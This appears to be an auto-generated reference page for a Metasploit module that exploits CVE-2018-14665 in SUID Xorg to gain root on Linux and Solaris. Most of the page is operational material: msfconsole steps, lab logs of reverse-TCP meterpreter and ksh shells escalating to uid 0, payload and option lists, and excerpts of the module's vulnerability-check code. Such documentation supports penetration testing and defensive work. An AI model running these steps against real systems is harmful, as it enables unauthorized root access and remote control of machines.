Xorg X11 Server SUID modulepath Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/multi/local/xorg_x11_suid_server_modulepath metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Xorg X11 Server SUID modulepath Privilege Escalation
Module: exploit/multi/local/xorg_x11_suid_server_modulepath
Source code: modules/exploits/multi/local/xorg_x11_suid_server_modulepath.rb
Disclosure date: 2018-10-25
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux, Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-14665
This module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 < 1.20.3. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with CentOS 7 (1708). CentOS default install will require console auth for the users session. Xorg must have SUID permissions and may not start if running. On successful exploitation artifacts will be created consistant with starting Xorg.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/multi/local/xorg_x11_suid_server_modulepath
msf exploit(xorg_x11_suid_server_modulepath) > show targets
... a list of targets ...
msf exploit(xorg_x11_suid_server_modulepath) > set TARGET target-id
msf exploit(xorg_x11_suid_server_modulepath) > show options
... show and set options ...
msf exploit(xorg_x11_suid_server_modulepath) > set SESSION session-id
msf exploit(xorg_x11_suid_server_modulepath) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
For Xorg server versions below v1.20.3
, there is an incorrect permissions
check when starting Xorg with the -modulepath
flag. That combined with Xorg
being an SUID binary, users can execute arbitrary code as root.
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploit/multi/local/xorg_x11_suid_server_modulepath
- Do:
set SESSION <sess_no>
- Do:
set TARGET <target_no>
- Do:
run
- You should get a shell with root privileges.
Scenarios
Xorg v1.19.3
on Centos 7.4
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.215.1:4444
[*] Sending stage (816260 bytes) to 172.16.215.159
[*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.159:52816) at 2019-10-22 09:50:42 -0500
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 1
session => 1
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > check
[+] The target is vulnerable.
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > run
[*] Started reverse TCP handler on 172.16.215.1:4444
[+] Passed all initial checks for exploit
[*] Writing launcher and compiling
[*] Uploading your payload, this could take a while
[*] Exploiting
[*] Sending stage (816260 bytes) to 172.16.215.159
[*] Meterpreter session 2 opened (172.16.215.1:4444 -> 172.16.215.159:52818) at 2019-10-22 09:51:38 -0500
[+] Deleted /tmp/libglx.so
[+] Deleted /tmp/.session-xehPZXcIrZ
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.4.1708 (Linux 3.10.0-693.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
Xorg v1.19.5
on Solaris 11.4
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.215.1:4444
[*] Command shell session 3 opened (172.16.215.1:4444 -> 172.16.215.152:49722) at 2019-10-22 09:27:45 -0500
whoami
space
uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc
background
Background session 3? [y/N] y
msf5 exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload cmd/unix/reverse_ksh
payload => cmd/unix/reverse_ksh
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1
lhost => 172.16.215.1
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 3
session => 3
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set target 2
target => 2
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > check
[!] SESSION may not be compatible with this module.
[+] The target is vulnerable.
msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.215.1:4444
[+] Passed all initial checks for exploit
[*] Writing launcher and compiling
[*] Uploading your payload, this could take a while
[*] Exploiting
[*] Command shell session 4 opened (172.16.215.1:4444 -> 172.16.215.152:57420) at 2019-10-22 09:30:05 -0500
[+] Deleted /tmp/qHkvGfpTTu.c
[+] Deleted /tmp/libglx.so
[+] Deleted /tmp/.session-jRlZ4zPfO
whoami
root
uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc
Go back to menu.
Msfconsole Usage
Here is how the multi/local/xorg_x11_suid_server_modulepath exploit module looks in the msfconsole:
msf6 > use exploit/multi/local/xorg_x11_suid_server_modulepath
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/local/xorg_x11_suid_server_modulepath) > show info
Name: Xorg X11 Server SUID modulepath Privilege Escalation
Module: exploit/multi/local/xorg_x11_suid_server_modulepath
Platform: Linux, Unix, Solaris
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2018-10-25
Provided by:
Narendra Shinde
Aaron Ringo
Available targets:
Id Name
-- ----
0 Linux x64
1 Linux x86
2 Solaris x86
3 Solaris x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to gain root privileges with SUID Xorg X11
server versions 1.19.0 < 1.20.3. A permission check flaw exists for
-modulepath and -logfile options when starting Xorg. This allows
unprivileged users that can start the server the ability to elevate
privileges and run arbitrary code under root privileges. This module
has been tested with CentOS 7 (1708). CentOS default install will
require console auth for the users session. Xorg must have SUID
permissions and may not start if running. On successful exploitation
artifacts will be created consistant with starting Xorg.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-14665
http://www.securityfocus.com/bid/105741
https://www.exploit-db.com/exploits/45697
https://www.exploit-db.com/exploits/45742
https://www.exploit-db.com/exploits/45832
https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html
Module Options
This is a complete list of options available in the multi/local/xorg_x11_suid_server_modulepath exploit:
msf6 exploit(multi/local/xorg_x11_suid_server_modulepath) > show options
Module options (exploit/multi/local/xorg_x11_suid_server_modulepath):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x64
Advanced Options
Here is a complete list of advanced options supported by the multi/local/xorg_x11_suid_server_modulepath exploit:
msf6 exploit(multi/local/xorg_x11_suid_server_modulepath) > show advanced
Module advanced options (exploit/multi/local/xorg_x11_suid_server_modulepath):
Name Current Setting Required Description
---- --------------- -------- -----------
ConsoleLock true yes Will check for console lock under linux
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Xdisplay :1 yes Display exploit will attempt to use
sofile libglx.so yes Xorg shared object name for modulepath
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/local/xorg_x11_suid_server_modulepath module can exploit:
msf6 exploit(multi/local/xorg_x11_suid_server_modulepath) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x64
1 Linux x86
2 Solaris x86
3 Solaris x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/local/xorg_x11_suid_server_modulepath exploit:
msf6 exploit(multi/local/xorg_x11_suid_server_modulepath) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
10 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
11 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
12 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
13 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
14 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
15 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/local/xorg_x11_suid_server_modulepath exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/local/xorg_x11_suid_server_modulepath) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- No console lock for <USER>
- Could not find Xorg executable
- Xorg binary <XORG_PATH> is not SUID
- Xorg version <V> not supported
- Fatal server error
- User probably does not have console auth
- Below is Xorg -version output
- Could not parse Xorg -version output
- Xorg in process list
- Failed to compile with Metasm. Falling back to compiling with GCC.
- gcc is not installed
- <SRC_PATH> failed to compile
- Could not get version or Xorg process possibly running, may fail
- Target not vulnerable
- This session already has root privileges
- <WRITABLEDIR> is not writable
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No console lock for <USER>
Here is a relevant code snippet related to the "No console lock for <USER>" error message:
85: if uname =~ /linux/i
86: vprint_status "Running additional check for Linux"
87: if datastore['ConsoleLock']
88: user = cmd_exec "id -un"
89: unless exist? "/var/run/console/#{user}"
90: vprint_error "No console lock for #{user}"
91: return CheckCode::Safe
92: end
93: vprint_good "Console lock for #{user}"
94: end
95: end
Could not find Xorg executable
Here is a relevant code snippet related to the "Could not find Xorg executable" error message:
95: end
96:
97: # suid program check
98: xorg_path = cmd_exec "command -v Xorg"
99: unless xorg_path.include?("Xorg")
100: vprint_error "Could not find Xorg executable"
101: return CheckCode::Safe
102: end
103: vprint_good "Xorg path found at #{xorg_path}"
104: unless setuid? xorg_path
105: vprint_error "Xorg binary #{xorg_path} is not SUID"
Xorg binary <XORG_PATH> is not SUID
Here is a relevant code snippet related to the "Xorg binary <XORG_PATH> is not SUID" error message:
100: vprint_error "Could not find Xorg executable"
101: return CheckCode::Safe
102: end
103: vprint_good "Xorg path found at #{xorg_path}"
104: unless setuid? xorg_path
105: vprint_error "Xorg binary #{xorg_path} is not SUID"
106: return CheckCode::Safe
107: end
108: vprint_good "Xorg binary #{xorg_path} is SUID"
109:
110: x_version = cmd_exec "Xorg -version"
Xorg version <V> not supported
Here is a relevant code snippet related to the "Xorg version <V> not supported" error message:
109:
110: x_version = cmd_exec "Xorg -version"
111: if x_version.include?("Release Date")
112: v = Rex::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
113: unless v.between?(Rex::Version.new('1.19.0'), Rex::Version.new('1.20.2'))
114: vprint_error "Xorg version #{v} not supported"
115: return CheckCode::Safe
116: end
117: elsif x_version.include?("Fatal server error")
118: vprint_error "User probably does not have console auth"
119: vprint_error "Below is Xorg -version output"
Fatal server error
Here is a relevant code snippet related to the "Fatal server error" error message:
112: v = Rex::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
113: unless v.between?(Rex::Version.new('1.19.0'), Rex::Version.new('1.20.2'))
114: vprint_error "Xorg version #{v} not supported"
115: return CheckCode::Safe
116: end
117: elsif x_version.include?("Fatal server error")
118: vprint_error "User probably does not have console auth"
119: vprint_error "Below is Xorg -version output"
120: vprint_error x_version
121: return CheckCode::Safe
122: else
User probably does not have console auth
Here is a relevant code snippet related to the "User probably does not have console auth" error message:
113: unless v.between?(Rex::Version.new('1.19.0'), Rex::Version.new('1.20.2'))
114: vprint_error "Xorg version #{v} not supported"
115: return CheckCode::Safe
116: end
117: elsif x_version.include?("Fatal server error")
118: vprint_error "User probably does not have console auth"
119: vprint_error "Below is Xorg -version output"
120: vprint_error x_version
121: return CheckCode::Safe
122: else
123: vprint_warning "Could not parse Xorg -version output"
Below is Xorg -version output
Here is a relevant code snippet related to the "Below is Xorg -version output" error message:
114: vprint_error "Xorg version #{v} not supported"
115: return CheckCode::Safe
116: end
117: elsif x_version.include?("Fatal server error")
118: vprint_error "User probably does not have console auth"
119: vprint_error "Below is Xorg -version output"
120: vprint_error x_version
121: return CheckCode::Safe
122: else
123: vprint_warning "Could not parse Xorg -version output"
124: return CheckCode::Appears
Could not parse Xorg -version output
Here is a relevant code snippet related to the "Could not parse Xorg -version output" error message:
118: vprint_error "User probably does not have console auth"
119: vprint_error "Below is Xorg -version output"
120: vprint_error x_version
121: return CheckCode::Safe
122: else
123: vprint_warning "Could not parse Xorg -version output"
124: return CheckCode::Appears
125: end
126: vprint_good "Xorg version #{v} is vulnerable"
127:
128: # process check for /X
Xorg in process list
Here is a relevant code snippet related to the "Xorg in process list" error message:
126: vprint_good "Xorg version #{v} is vulnerable"
127:
128: # process check for /X
129: proc_list = cmd_exec "ps ax"
130: if proc_list.include?('/X ')
131: vprint_warning('Xorg in process list')
132: return CheckCode::Appears
133: end
134: vprint_good('Xorg does not appear to be running')
135: return CheckCode::Vulnerable
136: end
Failed to compile with Metasm. Falling back to compiling with GCC.
Here is a relevant code snippet related to the "Failed to compile with Metasm. Falling back to compiling with GCC." error message:
153: write_file(path, shared_obj)
154: register_file_for_cleanup path
155:
156: chmod path
157: rescue
158: print_status('Failed to compile with Metasm. Falling back to compiling with GCC.')
159: compile_with_gcc(path, data)
160: end
161:
162: def compile_with_gcc(path, data)
163: unless has_gcc?
gcc is not installed
Here is a relevant code snippet related to the "gcc is not installed" error message:
159: compile_with_gcc(path, data)
160: end
161:
162: def compile_with_gcc(path, data)
163: unless has_gcc?
164: fail_with Failure::BadConfig, 'gcc is not installed'
165: end
166: vprint_good 'gcc is installed'
167:
168: src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c"
169: write_file(src_path, data)
<SRC_PATH> failed to compile
Here is a relevant code snippet related to the "<SRC_PATH> failed to compile" error message:
176: register_file_for_cleanup src_path
177: register_file_for_cleanup path
178:
179: unless output.blank?
180: print_error output
181: fail_with Failure::Unknown, "#{src_path} failed to compile"
182: end
183:
184: chmod path
185: end
186:
Could not get version or Xorg process possibly running, may fail
Here is a relevant code snippet related to the "Could not get version or Xorg process possibly running, may fail" error message:
185: end
186:
187: def exploit
188: check_status = check
189: if check_status == CheckCode::Appears
190: print_warning 'Could not get version or Xorg process possibly running, may fail'
191: elsif check_status == CheckCode::Safe
192: fail_with Failure::NotVulnerable, 'Target not vulnerable'
193: end
194:
195: if is_root?
Target not vulnerable
Here is a relevant code snippet related to the "Target not vulnerable" error message:
187: def exploit
188: check_status = check
189: if check_status == CheckCode::Appears
190: print_warning 'Could not get version or Xorg process possibly running, may fail'
191: elsif check_status == CheckCode::Safe
192: fail_with Failure::NotVulnerable, 'Target not vulnerable'
193: end
194:
195: if is_root?
196: fail_with Failure::BadConfig, 'This session already has root privileges'
197: end
This session already has root privileges
Here is a relevant code snippet related to the "This session already has root privileges" error message:
191: elsif check_status == CheckCode::Safe
192: fail_with Failure::NotVulnerable, 'Target not vulnerable'
193: end
194:
195: if is_root?
196: fail_with Failure::BadConfig, 'This session already has root privileges'
197: end
198:
199: unless writable? datastore['WritableDir']
200: fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
201: end
<WRITABLEDIR> is not writable
Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:
195: if is_root?
196: fail_with Failure::BadConfig, 'This session already has root privileges'
197: end
198:
199: unless writable? datastore['WritableDir']
200: fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
201: end
202:
203: print_good 'Passed all initial checks for exploit'
204:
205: modulepath = datastore['WritableDir']
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11025 Merged Pull Request: WIP Xorg x11 suid server modulepath
References
- CVE-2018-14665
- BID-105741
- EDB-45697
- EDB-45742
- EDB-45832
- https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html
See Also
Check also the following modules related to this module:
- exploit/aix/local/xorg_x11_server
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/local/allwinner_backdoor
- exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc
- exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout
- auxiliary/scanner/x11/open_x11
- exploit/unix/x11/x11_keyboard_exec
- exploit/multi/gdb/gdb_server_exec
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/http/makoserver_cmd_exec
- exploit/multi/http/rocket_servergraph_file_requestor_rce
- exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
- exploit/multi/misc/indesign_server_soap
- exploit/multi/misc/java_jmx_server
- exploit/multi/misc/java_rmi_server
- exploit/multi/realserver/describe
- exploit/linux/local/asan_suid_executable_priv_esc
- exploit/linux/local/ktsuss_suid_priv_esc
- exploit/linux/local/omniresolve_suid_priv_esc
- exploit/linux/local/zyxel_suid_cp_lpe
Related Nessus plugins:
- SUSE SLES11 Security Update : xorg-x11-server (SUSE-SU-2018:3456-1)
- Debian DSA-4328-1 : xorg-server - security update
- Ubuntu 16.04 LTS / 18.04 LTS / 18.10 : X.Org X server vulnerability (USN-3802-1)
- GLSA-201810-09 : X.Org X Server: Privilege escalation
- RHEL 7 : xorg-x11-server (RHSA-2018:3410)
- Oracle Linux 7 : xorg-x11-server (ELSA-2018-3410)
- CentOS 7 : xorg-x11-server (CESA-2018:3410)
- openSUSE Security Update : xorg-x11-server (openSUSE-2018-1420)
- Scientific Linux Security Update : xorg-x11-server on SL7.x x86_64 (20181031)
- AIX 6.1 TL 9 : xorg (IJ11000)
Authors
- Narendra Shinde
- Aaron Ringo
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.